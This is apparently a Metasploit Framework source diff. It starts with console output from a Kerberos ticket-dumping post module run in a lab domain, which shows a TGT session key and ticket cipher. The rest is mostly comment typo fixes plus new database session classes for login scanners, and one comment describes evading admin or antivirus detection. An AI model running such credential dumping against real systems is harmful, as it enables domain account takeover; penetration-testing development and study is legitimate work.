B4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
[*] LogonSession LUID: 0x00004ff91
[*] User: MSFLAB\smcintyre
[*] Session: 1
[*] AuthenticationPackage: Kerberos
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
Primary Principal: smcintyre@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: smcintyre@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 074bf82534302378dd8d8f911ddab2afbf64b32e8093e4fdd833e683e427c361
Subkey: false
Ticket Length: 1052
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:18 -0400
End time: 2023-08-23 18:33:18 -0400
Renew Till: 2023-08-30 08:33:18 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
oRWAAGpgwUBqsOzC3Xq8U5cNzsuFjB0ZLIgml5HqoGPgRwMtaDs9YIPNGudWsIvu+zl1aAIY6bkw3ltzW4/Ay2IuqQXKAMVnaWhTLWMNYViyPX4lUw5vrOvR6fpshI3tx46aqXNO5hnHPmNg+zAP9nKwXNG4hj3WtdCM3NMaLGShnQhvt9RnN/rEHuOQGn9Uo+3fEO01juPq9PBMJ/HGhe6dLXWFaXUc7OscSTQ5LUTlz+ABdbz2G0wCleEJPJYsQEo0tC1XDcZRcTsMkgbrAxp3H3zQGubEmX3h36Fo2H6ftYT0NsjnU1z/keylopjV6v0aRADUnqfJs+DgevOBDF0Ccy8IRsDdDVlnxr4tK7QwOvFUuIWKEPsLM2eLesNC7yJWnkDyHiFns+PNaz1PSIoD+euNRHFqW+7cPJXro3r84UcEiukKbWrMbrkg/YSQcEr9yGikNuoWSzgYCtbMsSLBRO7JasRcSNL+p4Dc3+E5r2nWRoR9bZTQM4YM72/kzoaXXnXXuPVx2krpohGMNJIHXoQ6drqCNwYcdT/tGMoCY+BLe29/PAtywGK3Hiq3HhbDnQ8t1g63b7CTssT0edrKR72Bv/YveDn3XQ1iKNM4mot+UxGVjrStJTQ6eEp1r3ZTibSvVTn3T5E1Z3ljSyHYhIa8bGlh2Ysk2St3ZEv3emDwDXvPIGovbzkqE7NYQgPlh36siynCV2SUKj1bApWA7erk7fVTyM/swH7OFa+ekZ+J88F02fanFtvrxGOhKOBfYL50UAas5o+32cqgIrPlip6JXe3BZ2fpr71mcZo4YYzUxopFYbox3FdH95HdQVG7PNg93e3+2XvnrkWEc2md+UhYacKvMMBrXzGAz1d+ea/V3Yt2EgZc1WWAWoKVCfw6RUeTQVs2pWjq7j2APjhzjAEa4s543xgmT0jIHZnfkGzTwjM5f5mhj1KeFkff98pEQX+QjjBFnaRDnIkBmzRmAyJNzxjwAhiW/RNxYNYG3UOnpmxxV443vN3wr3e+MFvBG9azFlq36iWs+2jGNUuFTdH6RECf7/tNun+DE622vI1hIaBJLAHMHzdSIt9kLTQ+OzECGjH0QNRHHibwLhyR36UHShr/ei4/PO87kKw+ZVpb0rHNcICaT80MhCIGWLlH5SErAKQe/vOkDgqeLW+keCbZfW8F7QBXc6C9kUpzUQuIII7KvLKskbgwhqPhoVV70x9vFXWG1xSFwzPJdQmDRBanyQ0xoQFhmt2MO6lMRXTpheAAL+uBJOpgYWX5GBA=
[*] LogonSession LUID: 0x00004d345
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] LogonSession LUID: 0x00004bfb9
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Post module execution completed
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
-- ---- --------- ----- ------ ------ ----
398 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
399 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
400 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
401 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
404 192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:18 -0400 active /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
402 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
403 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
msf6 post(windows/manage/kerberos_tickets) >
```
+1 -1
View File
@@ -22,7 +22,7 @@ Synopsis:
Options:
-r, --relative Output relative URLs (rather than absolute)
-o, --output filename Filename to save URL list to. Defautls to urls.txt.
-o, --output filename Filename to save URL list to. Defaults to urls.txt.
INFO
exit(0)
end
+1 -1
View File
@@ -102,7 +102,7 @@ module Anemone
end
#
# Add one ore more Regex patterns for URLs which should not be
# Add one or more Regex patterns for URLs which should not be
# followed
#
def skip_links_like(*patterns)
+2 -2
View File
@@ -16,7 +16,7 @@
== 0.4.0 / 2010-04-08
* Major enchancements
* Major enhancements
* Cookies can be accepted and sent with each HTTP request.
@@ -38,7 +38,7 @@
== 0.3.0 / 2009-12-15
* Major enchancements
* Major enhancements
* Option for persistent storage of pages during crawl with TokyoCabinet or PStore
+2 -2
View File
@@ -83,7 +83,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
when -5023 #kFPUserNotAuth (User doesn't exists)
return :skip_user
else
return :connection_error
@@ -273,7 +273,7 @@ module Metasploit
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
when 2 # Four-byte IP address followed by a two-byte port number
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
when 3 # DDP address (depricated)
when 3 # DDP address (deprecated)
next
when 4 # DNS name (maximum of 254 bytes)
parsed_addreses << address[1..address.length - 1]
+1 -1
View File
@@ -2,7 +2,7 @@ module Metasploit
module Framework
module API
# @note This is a lie. The API version is not semantically version and it's version has actually never changed
# even though API changes have occured. DO NOT base compatibility on this version.
# even though API changes have occurred. DO NOT base compatibility on this version.
module Version
MAJOR = 1
MINOR = 0
+2 -2
View File
@@ -16,7 +16,7 @@ module Metasploit
# @return [Object] the parent object that had .to_credential called on it to create this object
attr_accessor :parent
# @!attribute private
# The private credential component (e.g. username)
# The private credential component (e.g. password)
#
# @return [String] if {#paired} is `true` or {#private} is `nil`
# @return [String, nil] if {#paired} is `false` or {#private} is not `nil`.
@@ -28,7 +28,7 @@ module Metasploit
# @return [String]
attr_accessor :private_type
# @!attribute public
# The public credential component (e.g. password)
# The public credential component (e.g. username)
#
# @return [String] if {#paired} is `true` or {#public} is `nil`
# @return [String, nil] if {#paired} is `false` or {#public} is not `nil`.
+1 -1
View File
@@ -17,7 +17,7 @@ module Metasploit
# Module Methods
#
# Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
# Returns first configuration pathname from configuration_pathnames or the overriding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of configurations_pathnames
+1 -1
View File
@@ -165,7 +165,7 @@ module Metasploit
# dispatch to the proper method
if (type == "get")
# failed listings jsut disconnect..
# failed listings just disconnect..
begin
data = self.datasocket.get_once(-1, ftp_timeout)
rescue ::EOFError
@@ -24,7 +24,7 @@ module Metasploit
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
@@ -16,7 +16,7 @@ module Metasploit
# @return [Object] The framework instance object
attr_accessor :framework
# @!attribute framework_module
# @return [Object] The framework module caller, if availale
# @return [Object] The framework module caller, if available
attr_accessor :framework_module
# @!attribute connection_timeout
# @return [Integer] The timeout in seconds for a single SSH connection
@@ -91,7 +91,7 @@ module Metasploit
# Attempt a single login against the service with the given
# {Credential credential}.
#
# @param credential [Credential] The credential object to attmpt to
# @param credential [Credential] The credential object to attempt to
# login with
# @return [Result] A Result object indicating success or failure
# @abstract Protocol-specific scanners must implement this for their
@@ -68,7 +68,7 @@ module Metasploit
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @param (see Rex::Proto::Http::Request#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = super(opts)
@@ -46,7 +46,7 @@ module Metasploit
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
# New versions of GitLab use an alternative scheme
# Try it, if the old one was not successfull
# Try it, if the old one was not successful
auth_token = res.body.scan(/<input type="hidden" name="authenticity_token" value="(.*?)"/).flatten[0] unless auth_token
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
@@ -73,7 +73,7 @@ module Metasploit
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @param (see Rex::Proto::Http::Request#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = super(opts)
@@ -235,9 +235,9 @@ module Metasploit
# @option opts [Credential] 'credential' A credential object
# @option opts [Rex::Proto::Http::Client] 'http_client' object that can be used by the function
# @option opts ['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @raise [Rex::ConnectionError] One of these errors has occurred: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
# @return [NilClass] An error has occurred while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
close_client = !opts.key?(:http_client)
cli = opts.fetch(:http_client) { create_client(opts) }
@@ -418,7 +418,7 @@ module Metasploit
self.http_success_codes = DEFAULT_HTTP_SUCCESS_CODES if self.http_success_codes.nil?
# Note that this doesn't cover the case where ssl is unset and
# port is something other than a default. In that situtation,
# port is something other than a default. In that situation,
# we don't know what the user has in mind so we have to trust
# that they're going to do something sane.
if !(self.ssl) && self.port.nil?
@@ -12,7 +12,7 @@ module Metasploit
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is ManageEngine Dekstop Central.
# Checks if the target is ManageEngine Desktop Central.
#
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
def check_setup
@@ -32,7 +32,7 @@ module Metasploit
attr_accessor :client_id
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
@@ -1,4 +1,4 @@
require 'metasploit/framework/mssql/client'
require 'rex/proto/mssql/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/login_scanner/ntlm'
@@ -14,7 +14,6 @@ module Metasploit
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::LoginScanner::NTLM
include Metasploit::Framework::MSSQL::Client
DEFAULT_PORT = 1433
DEFAULT_REALM = 'WORKSTATION'
@@ -48,6 +47,18 @@ module Metasploit
# @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth.
attr_accessor :windows_authentication
# @!attribute use_client_as_proof
# @return [Boolean] If a login is successful and this attribute is true - an MSSQL::Client instance is used as proof
attr_accessor :use_client_as_proof
# @!attribute max_send_size
# @return [Integer] The max size of the data to encapsulate in a single packet
attr_accessor :max_send_size
# @!attribute send_delay
# @return [Integer] The delay between sending packets
attr_accessor :send_delay
validates :windows_authentication,
inclusion: { in: [true, false] }
@@ -66,8 +77,14 @@ module Metasploit
}
begin
if mssql_login(credential.public, credential.private, '', credential.realm)
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port)
if client.mssql_login(credential.public, credential.private, '', credential.realm)
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
if use_client_as_proof
result_options[:proof] = client
else
client.disconnect
end
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
@@ -15,6 +15,10 @@ module Metasploit
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
# @returns [Boolean] If a login is successful and this attribute is true - a MySQL::Client instance is used as proof,
# and the socket is not immediately closed
attr_accessor :use_client_as_proof
DEFAULT_PORT = 3306
LIKELY_PORTS = [3306]
LIKELY_SERVICE_NAMES = ['mysql']
@@ -35,7 +39,7 @@ module Metasploit
disconnect if self.sock
connect
::Mysql.connect(host, credential.public, credential.private, '', port, sock)
mysql_conn = ::Mysql.connect(host, credential.public, credential.private, '', port, sock)
rescue ::SystemCallError, Rex::ConnectionError => e
result_options.merge!({
@@ -64,8 +68,17 @@ module Metasploit
})
end
unless result_options[:status]
if mysql_conn
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
# This module no long owns the socket, return it as proof so the calling context can perform additional operations
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
result_options[:proof] = mysql_conn
nil
else
mysql_conn.close
end
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
@@ -39,7 +39,7 @@ module Metasploit
connect
select([sock],nil,nil,0.4)
# Check to see if we recieved an OK?
# Check to see if we received an OK?
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^\+OK.*/]
# If we received an OK we should send the USER
@@ -11,6 +11,10 @@ module Metasploit
class Postgres
include Metasploit::Framework::LoginScanner::Base
# @returns [Boolean] If a login is successful and this attribute is true - a PostgreSQL::Client instance is used as proof,
# and the socket is not immediately closed
attr_accessor :use_client_as_proof
DEFAULT_PORT = 5432
DEFAULT_REALM = 'template1'
LIKELY_PORTS = [ DEFAULT_PORT ]
@@ -42,7 +46,7 @@ module Metasploit
begin
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri)
rescue RuntimeError => e
rescue ::RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
result_options.merge!({
@@ -70,8 +74,16 @@ module Metasploit
end
if pg_conn
pg_conn.close
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
# This module no longer owns the socket so return it as proof so the calling context can perform additional operations
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
result_options[:proof] = pg_conn
pg_conn = nil
else
pg_conn.close
end
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
@@ -15,7 +15,7 @@ module Metasploit
# @return [Credential] the Credential object the result is for
attr_accessor :credential
# @!attribute host
# @return [String] the addess of the target host for this result
# @return [String] the address of the target host for this result
attr_accessor :host
# @!attribute port
# @return [Integer] the port number of the service for this result
+13 -1
View File
@@ -57,7 +57,11 @@ module Metasploit
# A factory method for creating a kerberos authenticator
attr_accessor :kerberos_authenticator_factory
# If login is successul and {Result#access_level} is not set
# @returns [Boolean] If a login is successful and this attribute is true - a RubySMB::Client instance is used as proof,
# and the socket is not immediately closed
attr_accessor :use_client_as_proof
# If login is successful and {Result#access_level} is not set
# then arbitrary credentials are accepted. If it is set to
# Guest, then arbitrary credentials are accepted, but given
# Guest permissions.
@@ -129,6 +133,14 @@ module Metasploit
case status_code
when WindowsError::NTStatus::STATUS_SUCCESS, WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE, WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED
status = Metasploit::Model::Login::Status::SUCCESSFUL
# This module no long owns the socket, return it as proof so the calling context can perform additional operations
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
proof = client
client = nil
self.sock = nil
self.dispatcher = nil
end
when WindowsError::NTStatus::STATUS_ACCOUNT_LOCKED_OUT
status = Metasploit::Model::Login::Status::LOCKED_OUT
when WindowsError::NTStatus::STATUS_LOGON_FAILURE, WindowsError::NTStatus::STATUS_ACCESS_DENIED
@@ -34,7 +34,7 @@ module Metasploit
]
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
@@ -119,7 +119,7 @@ module Metasploit
end
break unless retry?(client.error)
# Wait for an increasing ammount of time before retrying
# Wait for an increasing amount of time before retrying
delay = (2**(n+1)) + 1
::Rex.sleep(delay)
end
@@ -68,7 +68,7 @@ module Metasploit
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @param (see Rex::Proto::Http::Request#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = super(opts)
+1 -1
View File
@@ -2,7 +2,7 @@ module Metasploit
module Framework
module NTDS
require 'metasploit/framework/ntds/account'
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
# This class represent an NTDS parser. It interacts with the Meterpreter Client
# to provide a simple interface for enumerating AD user accounts.
class Parser
@@ -337,7 +337,7 @@ module Metasploit
# This method returns the version of John the Ripper or Hashcat being used.
#
# @raise [PasswordCrackerNotFoundError] if a suitable cracker binary was never found
# @return [Sring] the version detected
# @return [String] the version detected
def cracker_version
if cracker == 'john'
cmd = binary_path
@@ -527,7 +527,7 @@ module Metasploit
# This runs the show command in john and yields cracked passwords.
#
# @return [Array] the output from teh command split on newlines
# @return [Array] the output from the command split on newlines
def each_cracked_password
::IO.popen(show_command, 'rb').readlines
end
@@ -71,7 +71,7 @@ module Metasploit
# This is just md5(unicode($p)), where $p is the password.
# Avira uses to store their passwords, there may be other apps that also use this though.
# The trailing : shows an empty salt. This is because hashcat only has one unicode hash
# format which is combatible, type 30, but that is listed as md5(utf16le($pass).$salt)
# format which is compatible, type 30, but that is listed as md5(utf16le($pass).$salt)
# with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs
# The hash as *hash*: so that it is both JTR and hashcat compatible
return "#{cred.private.data}:"
@@ -360,7 +360,7 @@ module Metasploit
results.flatten.uniq
end
# A getter for a memoized version fo the mutation keys list
# A getter for a memoized version of the mutation keys list
#
# @return [Array<Array>] a 2D array of all mutation combinations
def mutation_keys
-1
View File
@@ -73,7 +73,6 @@ module Metasploit
# @see Rex::Socket::Tcp
# @see Rex::Socket::Tcp.create
def connect(global = true, opts={})
dossl = false
if(opts.has_key?('SSL'))
dossl = opts['SSL']
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.3.46"
VERSION = "6.3.56"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+50 -3
View File
@@ -202,28 +202,59 @@ class Config < Hash
# Returns the full path to the history file.
#
# @return [String] path the history file.
# @return [String] path to the history file.
def self.history_file
self.new.history_file
end
# Returns the full path to the meterpreter history file.
#
# @return [String] path to the history file.
def self.meterpreter_history
self.new.meterpreter_history
end
# Returns the full path to the smb session history file.
#
# @return [String] path to the history file.
def self.smb_session_history
self.new.smb_session_history
end
# Returns the full path to the PostgreSQL session history file.
#
# @return [String] path to the history file.
def self.postgresql_session_history
self.new.postgresql_session_history
end
# Returns the full path to the MSSQL session history file.
#
# @return [String] path to the history file.
def self.mssql_session_history
self.new.mssql_session_history
end
# Returns the full path to the MySQL session history file.
#
# @return [String] path to the history file.
def self.mysql_session_history
self.new.mysql_session_history
end
def self.pry_history
self.new.pry_history
end
# Returns the full path to the fav_modules file.
#
# @return [String] path the fav_modules file.
# @return [String] path to the fav_modules file.
def self.fav_modules_file
self.new.fav_modules_file
end
# Returns the full path to the handler file.
#
# @return [String] path the handler file.
# @return [String] path to the handler file.
def self.persist_file
self.new.persist_file
end
@@ -316,6 +347,22 @@ class Config < Hash
config_directory + FileSep + "meterpreter_history"
end
def smb_session_history
config_directory + FileSep + "smb_session_history"
end
def postgresql_session_history
config_directory + FileSep + "postgresql_session_history"
end
def mysql_session_history
config_directory + FileSep + "mysql_session_history"
end
def mssql_session_history
config_directory + FileSep + "mssql_session_history"
end
def pry_history
config_directory + FileSep + "pry_history"
end
+1 -1
View File
@@ -346,7 +346,7 @@ Shell Banner:
print_status("Using `script` to pop up an interactive shell")
# Payload: script /dev/null
# Using /dev/null to make sure there is no log file on the target machine
# Prevent being detected by the admin or antivirus softwares
# Prevent being detected by the admin or antivirus software
shell_command("#{script_path} /dev/null")
return
end
@@ -15,9 +15,14 @@ module CommandShellOptions
def initialize(info = {})
super(info)
register_options(
[
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true])
]
)
register_advanced_options(
[
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true]),
OptString.new('InitialAutoRunScript', "An initial script to run on session creation (before AutoRunScript)"),
OptString.new('AutoRunScript', "A script to run automatically on session creation."),
OptString.new('CommandShellCleanupCommand', "A command to run before the session is closed"),
+143
View File
@@ -0,0 +1,143 @@
# -*- coding:binary -*-
require 'rex/post/mssql'
class Msf::Sessions::MSSQL
include Msf::Session::Basic
include Msf::Sessions::Scriptable
# @return [Rex::Post::MSSQL::Ui::Console] The interactive console
attr_accessor :console
# @return [MSSQL::Client] The MSSQL client
attr_accessor :client
attr_accessor :platform, :arch
attr_reader :framework
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts)
super(rstream, opts)
end
def bootstrap(datastore = {}, handler = nil)
session = self
session.init_ui(user_input, user_output)
@info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}"
end
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
console.load_resource(full_path)
end
end
def process_autoruns(datastore)
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
next if datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
self.execute_script(args.shift, *args)
end
end
def type
self.class.type
end
# Returns the type of session.
#
def self.type
'MSSQL'
end
def self.can_cleanup_files
false
end
#
# Returns the session description.
#
def desc
'MSSQL'
end
def address
return @address if @address
@address, @port = client.sock.peerinfo.split(':')
@address
end
def port
return @port if @port
@address, @port = client.sock.peerinfo.split(':')
@port
end
##
# :category: Msf::Session::Interactive implementors
#
# Initializes the console's I/O handles.
#
def init_ui(input, output)
self.user_input = input
self.user_output = output
console.init_ui(input, output)
console.set_log_source(log_source)
super
end
##
# :category: Msf::Session::Interactive implementors
#
# Resets the console's I/O handles.
#
def reset_ui
console.unset_log_source
console.reset_ui
end
def exit
console.stop
end
##
# :category: Msf::Session::Interactive implementors
#
# Override the basic session interaction to use shell_read and
# shell_write instead of operating on rstream directly.
def _interact
framework.events.on_session_interact(self)
framework.history_manager.with_context(name: type.to_sym) do
_interact_stream
end
end
##
# :category: Msf::Session::Interactive implementors
#
def _interact_stream
framework.events.on_session_interact(self)
console.framework = framework
# Call the console interaction of the MSSQL client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { interacting != true }
console.framework = nil
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this handle like a bad habit.
raise EOFError if (console.stopped? == true)
end
end
+136
View File
@@ -0,0 +1,136 @@
# -*- coding: binary -*-
require 'rex/post/mysql'
class Msf::Sessions::MySQL
# This interface supports basic interaction.
include Msf::Session::Basic
include Msf::Sessions::Scriptable
# @return [Rex::Post::MySQL::Ui::Console] The interactive console
attr_accessor :console
# @return [MySQL::Client]
attr_accessor :client
attr_accessor :platform, :arch
# @param[Rex::IO::Stream] rstream
# @param [Hash] opts
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
self.console = ::Rex::Post::MySQL::Ui::Console.new(self)
super(rstream, opts)
end
# @param [Hash] datastore
# @param [nil] handler
# @return [String]
def bootstrap(datastore = {}, handler = nil)
session = self
session.init_ui(user_input, user_output)
@info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}"
end
def process_autoruns(datastore)
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
next if datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
execute_script(args.shift, *args)
end
end
# @return [String]
def type
self.class.type
end
# @return [String] The type of the session
def self.type
'MySQL'
end
# @return [Boolean] Can the session clean up after itself
def self.can_cleanup_files
false
end
# @return [String] The session description
def desc
'MySQL'
end
# @return [Object] The peer address
def address
return @address if @address
@address, @port = @client.socket.peerinfo.split(':')
@address
end
# @return [Object] The peer host
def port
return @port if @port
@address, @port = @client.socket.peerinfo.split(':')
@port
end
# Initializes the console's I/O handles.
#
# @param [Object] input
# @param [Object] output
# @return [String]
def init_ui(input, output)
super(input, output)
console.init_ui(input, output)
console.set_log_source(log_source)
end
# Resets the console's I/O handles.
#
# @return [Object]
def reset_ui
console.unset_log_source
console.reset_ui
end
# Exit the console
#
# @return [TrueClass]
def exit
console.stop
end
protected
# Override the basic session interaction to use shell_read and
# shell_write instead of operating on rstream directly.
#
# @return [Object]
def _interact
framework.events.on_session_interact(self)
framework.history_manager.with_context(name: type.to_sym) { _interact_stream }
end
# @return [Object]
def _interact_stream
framework.events.on_session_interact(self)
console.framework = framework
# Call the console interaction of the mysql client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { interacting != true }
console.framework = nil
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this handle like a bad habit.
raise ::EOFError if (console.stopped? == true)
end
end
+147
View File
@@ -0,0 +1,147 @@
# -*- coding: binary -*-
require 'rex/post/postgresql'
class Msf::Sessions::PostgreSQL
#
# This interface supports basic interaction.
#
include Msf::Session::Basic
include Msf::Sessions::Scriptable
# @return [Rex::Post::PostgreSQL::Ui::Console] The interactive console
attr_accessor :console
# @return [PostgreSQL::Client]
attr_accessor :client
attr_accessor :platform, :arch
# @param[Rex::IO::Stream] rstream
# @param [Hash] opts
# @param opts [PostgreSQL::Client] :client
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
@console = ::Rex::Post::PostgreSQL::Ui::Console.new(self)
super(rstream, opts)
end
def bootstrap(datastore = {}, handler = nil)
session = self
session.init_ui(user_input, user_output)
@info = "PostgreSQL #{datastore['USERNAME']} @ #{@peer_info}"
end
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
console.load_resource(full_path)
end
end
def process_autoruns(datastore)
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
next if datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
self.execute_script(args.shift, *args)
end
end
def type
self.class.type
end
#
# @return [String] The type of the session
#
def self.type
'PostgreSQL'
end
#
# @return [Boolean] Can the session clean up after itself
def self.can_cleanup_files
false
end
#
# @return [String] The session description
#
def desc
'PostgreSQL'
end
def address
return @address if @address
@address, @port = @client.conn.peerinfo.split(':')
@address
end
def port
return @port if @port
